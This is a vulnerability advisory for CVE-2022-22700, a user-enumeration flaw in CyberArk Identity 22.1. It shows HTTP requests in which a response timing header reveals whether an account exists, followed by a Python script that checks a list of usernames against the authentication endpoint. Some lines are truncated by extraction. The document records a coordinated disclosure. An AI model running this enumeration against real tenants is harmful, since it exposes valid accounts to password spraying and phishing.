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CyberArk Identity 22.1 - User Enumeration

Summary



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Affected versions	22.1 and below	Т
Fixed versions	22.2	
State	Public	

Vulnerability

Kind User Enumeration

Rule 225. Proper Authentication Responses

Remote Yes

CVSSv3 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSSv3 Base Score 5.3

Exploit available Yes

CVE ID(s) CVE-2022-22700



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tenant.

Proof of Concept

• A request is sent with a known valid user

Request:

```
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3
Content-Type: application/json
```

```
{"TenantId":"", "User": "admin@customer.com", "Version": "1.0", "AssociatedE
```

Response:

```
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109
```

In the cases when the user exists, the value of X-CFY-TX-TM is always less



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```
POST /Security/StartAuthentication HTTP/1.1

Host: customer.my.idaptive.app

Content-Length: 147

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3

Content-Type: application/json

{"TenantId":"", "User": "notexists@customer.com", "Version": "1.0", "Associa
```

Response:

```
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
```

```
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492
...
```

In the cases when the user does not exist, the value of X-CFY-TX-TM is always above than 1000.

Exploit

The following code was used to enumerate valid users:

```
#!/usr/bin/env python
#
# Author: aroldan@fluidattacks.com
```



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```
JSON_DATA = json.loads(RAW_DATA)
with open(sys.argv[1], 'r') as fd:
    USERS = [x.rstrip() for x in fd.readlines()]
for USER in USERS:
    VALUE = 10000
    PAYLOAD = JSON_DATA
    PAYLOAD['User'] = USER
    RESP = requests.post(URL, json=PAYLOAD)
    if 'X-CFY-TX-TM' in RESP.headers:
        VALUE = int(RESP.headers['X-CFY-TX-TM'])
    if VALUE < 1000:
        print(VALUE)
        print(f'[+] User {USER} exists.')</pre>
```

```
else:
```

```
print(f'[-] User {USER} not exists.')
```

Credits

The vulnerability was discovered by <u>Andrés Roldán</u> from the Offensive Team of Fluid Attacks.

References

Vendor page https://www.cyberark.com/resources/cyberark-identity/

Changelog https://docs.cyberark.com/Product-

Doc/OnlineHeln/Idantive/Latest/en/Content/ReleaseNotes/ReleaseNotes-



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- 2022-02-05
- Vendor contacted.
- 2022-02-16
- Vendor replied acknowledging the report.
- 2022-02-28
- Vulnerability patched.



Sorvicos



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